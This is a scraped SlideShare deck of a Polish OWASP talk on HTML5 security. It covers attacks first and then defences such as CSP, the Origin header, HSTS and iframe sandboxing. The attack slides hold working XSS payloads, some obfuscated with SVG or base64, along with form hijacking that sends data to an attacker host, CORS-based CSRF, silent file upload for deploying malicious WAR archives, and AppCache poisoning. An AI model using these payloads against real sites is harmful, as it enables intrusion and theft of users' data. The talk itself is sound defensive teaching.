HTML5:        atak i obrona         Krzysztof KotowiczOWASP    SecuRing         kkotowicz@securing.pl          Copyright 2...
$ id IT security consultant @ SecuRing Web security researcher  (BlackHat USA, BruCON, Hack in Paris, ...) blog.kotowic...
HTML5(i pokrewne)               OWASP   3
HTML5 Upgrade wielu technologii używanych przez  aplikacje webowe Dużo nowej dokumentacji Dużo nowego kodu Prace trwaj...
HTML5 Bogaty, oparty na standardach klient Przenoszenie logiki na stronę klienta  więcej danych  więcej możliwości No...
HTML5 i bezpieczeństwo Wiele rozwiązań roboczych Tradycyjne webowe podatności HTML wciąż  istnieją  XSS  CSRF Nowe AP...
HTML5 - ataki (praktyczne)                OWASP   7
XSS Filtry anty-XSS nie tylko w przeglądarkach! Nowe elementy, nowe atrybuty <iframe srcdoc=<b>html here</b>> <video pos...
XSS SVG, base64 - XSS i zaciemnnianie  <svg><image style=filter:url("data:image/svg  +xml,<svg xmlns=%22http://www.w3.org...
Data: URI Użyj, jak kiedyś javascript:// all<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>// ...
Przechwytywanie formularzy Bez użycia Javascript  <form id=f action=https://good.com>  <input name=secret>  </form>  // a...
Wykorzystanie XSS HTML5 pomaga przy eksploitacji  WebSockets - wydajne połączenie z C&C  Dane w DB, HTML5 filesystem, W...
Klasyczny XHR Tylko w ramach tej samej domeny                                    OWASP   13
Cross Origin Resource Sharing Międzydomenowy                                OWASP   14
CORS Międzydomenowe XHR, z poświadczeniami  (credentials):  cookies  certyfikat SSL/TLS kliencki  poświadczenia HTTP a...
CORS// http://attacker.cnvar xhr = new XMLHttpRequest();xhr.open("POST", "http://victim.pl");xhr.setRequestHeader("Content...
CORS Żądanie XHR dociera do serwera Z poświadczeniami Można wykorzystać do Cross Site Request Forgery  Tak jak <form>,...
Cichy upload plików                                                             ing ");                                   ...
Cichy upload plików     xhr.setRequestHeader("Content-Type",        "multipart/form-data, boundary=xxx");     xhr.send(   ...
Cichy upload plików Udaje multipart/form-data request z uploadem  poprzez <input type=file> Użyj do:  Zastąpienia firmw...
Wstrzyknięcie treści http://website/#/a/page  xhr.open("GET", "/a/page"); https://touch.facebook.com/#http://  example.c...
Offline web applications Cache offline  <html manifest=/cache.manifest> Manifest   Typ MIME text/cache-manifest   CACHE...
Man in the middle Podgląd / zmiana ruchu  XSS  session hijack (Firesheep) Atak nietrwały                              ...
AppCache poison1. W trakcie MITM: wstrzyknięcie trucizny  <html manifest="/robots.txt">                 CACHE MANIFEST  .....
AppCache poison                  OWASP   25
AppCache poison Jak się bronić?   SSL/TLS   Wyczyszczenie    offline cache                    OWASP   26
HTML5 - obrona(w trakcie budowy)                     OWASP   27
HTML5 - metody obrony   Content Security Policy (XSS)   Nagłówek Origin (CSRF)   HTTP Strict Transport Security (MITM)...
Content Security Policy Polityka zapobiegająca m.in. XSS Firefox / Chrome / IE 10 / Safari Ciężka w implementacji   <a ...
Content Security PolicyContent-Security-Policy:  script-src self https://apis.google.com;  frame-src none; object-src none...
Nagłówek Origin   Referer: http://host:port/url/?a=1    Często używany do zabezpieczenia przed CSRFif (req.headers.refere...
Nagłówek Origin Łatwo pozbyć się nagłówka Referer!  preferencje przeglądarki  https:// → http://  niemożliwa do ustale...
Nagłówek Origin szanuje prywatność  Referer: http://host:port/naga-prawda  Origin: http://host:port zachowany przy ruchu...
HSTS HTTP Strict Transport Security Zabezpiecza przed atakami SSL stripping       GET / HTTP/1.1       Host: gmail.com  ...
HSTSStrict-Transport-Security: max-age=1576800;   includeSubDomains   Dozwolone tylko szyfrowane połączenia   Ciche tłum...
Iframe sandbox <script>user_id=4</script> <iframe sandbox src=untrusted-ad.aspx />     Bez dostępu do DOM     Bez skrypt...
Iframe sandbox<iframe sandbox src="data:text/html,<script>alert(haha!)</script>"></iframe>// attacker.com<iframe sandbox="...
Podsumowanie Nowe możliwości, także dla atakującego XSS groźniejszy w skutkach Nowe narzędzia do obrony Warto je zasto...
Odnośniki html5security.org html5sec.org www.owasp.org/index.php/  HTML5_Security_Cheat_Sheet github.com/koto/ blog.k...
Upcoming SlideShare
Loading in...5
×

HTML5: Atak i obrona

1,119

Published on

Prezentacja z wrocławskiego spotkania OWASP Poland

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
1,119
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
14
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

HTML5: Atak i obrona

  1. 1. HTML5: atak i obrona Krzysztof KotowiczOWASP SecuRing kkotowicz@securing.pl Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation http://www.owasp.org
  2. 2. $ id IT security consultant @ SecuRing Web security researcher (BlackHat USA, BruCON, Hack in Paris, ...) blog.kotowicz.net @kkotowicz OWASP 2
  3. 3. HTML5(i pokrewne) OWASP 3
  4. 4. HTML5 Upgrade wielu technologii używanych przez aplikacje webowe Dużo nowej dokumentacji Dużo nowego kodu Prace trwają od 2004 OWASP 4
  5. 5. HTML5 Bogaty, oparty na standardach klient Przenoszenie logiki na stronę klienta  więcej danych  więcej możliwości Nowe API  Geolocation, Drag & Drop, Filesystem, WebSockets, WebWorkers, Touch Events... OWASP 5
  6. 6. HTML5 i bezpieczeństwo Wiele rozwiązań roboczych Tradycyjne webowe podatności HTML wciąż istnieją  XSS  CSRF Nowe API dostępne dla Javascriptu XSS zyskuje na znaczeniu OWASP 6
  7. 7. HTML5 - ataki (praktyczne) OWASP 7
  8. 8. XSS Filtry anty-XSS nie tylko w przeglądarkach! Nowe elementy, nowe atrybuty <iframe srcdoc=<b>html here</b>> <video poster=javascript:alert(1)//></video> <form><button formaction="javascript:alert(1)">X</button> <math><maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext >http://google.com</mtext></maction> </math> OWASP 8
  9. 9. XSS SVG, base64 - XSS i zaciemnnianie <svg><image style=filter:url("data:image/svg +xml,<svg xmlns=%22http://www.w3.org/2000/svg %22><script>parent.alert(1)</script></svg>")></ svg> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64, PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC 9zdmciPjxzY3JpcHQ %2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/> </feImage> </svg> OWASP 9
  10. 10. Data: URI Użyj, jak kiedyś javascript:// all<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>// IE<link rel=stylesheet href=data:,*%7bx:expression(write(/xss/))%7d > Sprawdź przekierowania! http://vuln.pl/?redirect=data:text/html,.... Location: data:text/html,... OWASP 10
  11. 11. Przechwytywanie formularzy Bez użycia Javascript <form id=f action=https://good.com> <input name=secret> </form> // anywhere in the document <button form=f formaction=http:// bad.ru>CLICK </button> OWASP 11
  12. 12. Wykorzystanie XSS HTML5 pomaga przy eksploitacji  WebSockets - wydajne połączenie z C&C  Dane w DB, HTML5 filesystem, Web Storage  // stealth mode history.pushState(/innocent-url) // wstrzyknięcie kodu localStorage[code]=alert(/1/);  // później eval(localStorage[code]) OWASP 12
  13. 13. Klasyczny XHR Tylko w ramach tej samej domeny OWASP 13
  14. 14. Cross Origin Resource Sharing Międzydomenowy OWASP 14
  15. 15. CORS Międzydomenowe XHR, z poświadczeniami (credentials):  cookies  certyfikat SSL/TLS kliencki  poświadczenia HTTP auth Docelowy serwer podejmuje decyzję  Odsyła odpowiednie nagłówki OWASP 15
  16. 16. CORS// http://attacker.cnvar xhr = new XMLHttpRequest();xhr.open("POST", "http://victim.pl");xhr.setRequestHeader("Content-Type", "text/plain");xhr.withCredentials = "true"; // cookies etc.xhr.send("Anything"); OWASP 16
  17. 17. CORS Żądanie XHR dociera do serwera Z poświadczeniami Można wykorzystać do Cross Site Request Forgery  Tak jak <form>, <img src> itd.  Nic nowego? OWASP 17
  18. 18. Cichy upload plików ing "); "An yth r.s end( xh Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name="submit-name" Larry --AaB03x Content-Disposition: form-data; name="files"; filename="file1.txt" Content-Type: text/plain ... contents of file1.txt ... --AaB03x-- OWASP 18
  19. 19. Cichy upload plików xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary=xxx"); xhr.send( --xxxrn Content-Disposition: form-data; name="files"; filename="file1.txt"rn Content-Type: text/plainrn rn ANYTHINGrn --xxx--); OWASP 19
  20. 20. Cichy upload plików Udaje multipart/form-data request z uploadem poprzez <input type=file> Użyj do:  Zastąpienia firmware’u w routerach  Przejęcia kontroli nad serwerami aplikacyjnymi logUrl = http://glassfishserver/ management/domain/applications/ application; fileUpload(c,"maliciousarchive.war"); OWASP 20
  21. 21. Wstrzyknięcie treści http://website/#/a/page xhr.open("GET", "/a/page"); https://touch.facebook.com/#http:// example.com/xss.php HTTP/1.1 200 OK Access-Control-Allow-Origin: * Content-Type: text/html <img src=x onerror=alert(1)> OWASP 21
  22. 22. Offline web applications Cache offline <html manifest=/cache.manifest> Manifest  Typ MIME text/cache-manifest CACHE MANIFEST / /main/home /main/app.js /settings/home /settings/app.js http://img.example.com/logo.png Cache odświeża się, kiedy zmieni się plik OWASP 22
  23. 23. Man in the middle Podgląd / zmiana ruchu  XSS  session hijack (Firesheep) Atak nietrwały OWASP 23
  24. 24. AppCache poison1. W trakcie MITM: wstrzyknięcie trucizny <html manifest="/robots.txt"> CACHE MANIFEST ....<script>evil_foo()</script> CACHE: http://victim/ NETWORK: *2. Po zakończeniu MITM: • ofiara odwiedza stronę • robots.txt ma niewłaściwy typ MIME • zatruta strona pobierana z cache • złośliwy kod uruchamia się • ... aż do ręcznego wyczyszczenia offline cache OWASP 24
  25. 25. AppCache poison OWASP 25
  26. 26. AppCache poison Jak się bronić?  SSL/TLS  Wyczyszczenie offline cache OWASP 26
  27. 27. HTML5 - obrona(w trakcie budowy) OWASP 27
  28. 28. HTML5 - metody obrony Content Security Policy (XSS) Nagłówek Origin (CSRF) HTTP Strict Transport Security (MITM) Iframe sandbox (izolacja treści) OWASP 28
  29. 29. Content Security Policy Polityka zapobiegająca m.in. XSS Firefox / Chrome / IE 10 / Safari Ciężka w implementacji <a onclick=....> <script>code</script> Defense-in-depth OWASP 29
  30. 30. Content Security PolicyContent-Security-Policy: script-src self https://apis.google.com; frame-src none; object-src none OWASP 30
  31. 31. Nagłówek Origin Referer: http://host:port/url/?a=1  Często używany do zabezpieczenia przed CSRFif (req.headers.referer && !req.headers.referer.match(ok.com)) { tell_attacker_to_get_lost();} else { process();}  Kiedyś łatwy do podrobienia OWASP 31
  32. 32. Nagłówek Origin Łatwo pozbyć się nagłówka Referer!  preferencje przeglądarki  https:// → http://  niemożliwa do ustalenia wartośćlocation = data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,<formid=f method=post action=+url+></form><script>document.f.submit()</scri+pt>"></html>; OWASP 32
  33. 33. Nagłówek Origin szanuje prywatność Referer: http://host:port/naga-prawda Origin: http://host:port zachowany przy ruchu https:// → http:// nie może być podrobiony nieznany → Origin: null OWASP 33
  34. 34. HSTS HTTP Strict Transport Security Zabezpiecza przed atakami SSL stripping GET / HTTP/1.1 Host: gmail.com HTTP/1.1 301 Be Secure Location: https://mail.google.com/ OWASP 34
  35. 35. HSTSStrict-Transport-Security: max-age=1576800; includeSubDomains  Dozwolone tylko szyfrowane połączenia  Ciche tłumaczenie http:// na https://  “Hard fail” w przypadku błędów SSL/TLS OWASP 35
  36. 36. Iframe sandbox <script>user_id=4</script> <iframe sandbox src=untrusted-ad.aspx />  Bez dostępu do DOM  Bez skryptów  Bez pluginów (Java, Flash, ...)  Bez formularzy  Bez framebusting  Ograniczenia można wybiórczo wyłączać OWASP 36
  37. 37. Iframe sandbox<iframe sandbox src="data:text/html,<script>alert(haha!)</script>"></iframe>// attacker.com<iframe sandbox="allow-scriptsallow-forms" src=http://clickjacked/ ></iframe> OWASP 37
  38. 38. Podsumowanie Nowe możliwości, także dla atakującego XSS groźniejszy w skutkach Nowe narzędzia do obrony Warto je zastosować w kombinacji z tradycyjnymi metodami OWASP 38
  39. 39. Odnośniki html5security.org html5sec.org www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet github.com/koto/ blog.kotowicz.net OWASP 39
  1. Gostou de algum slide específico?

    Recortar slides é uma maneira fácil de colecionar informações para acessar mais tarde.

×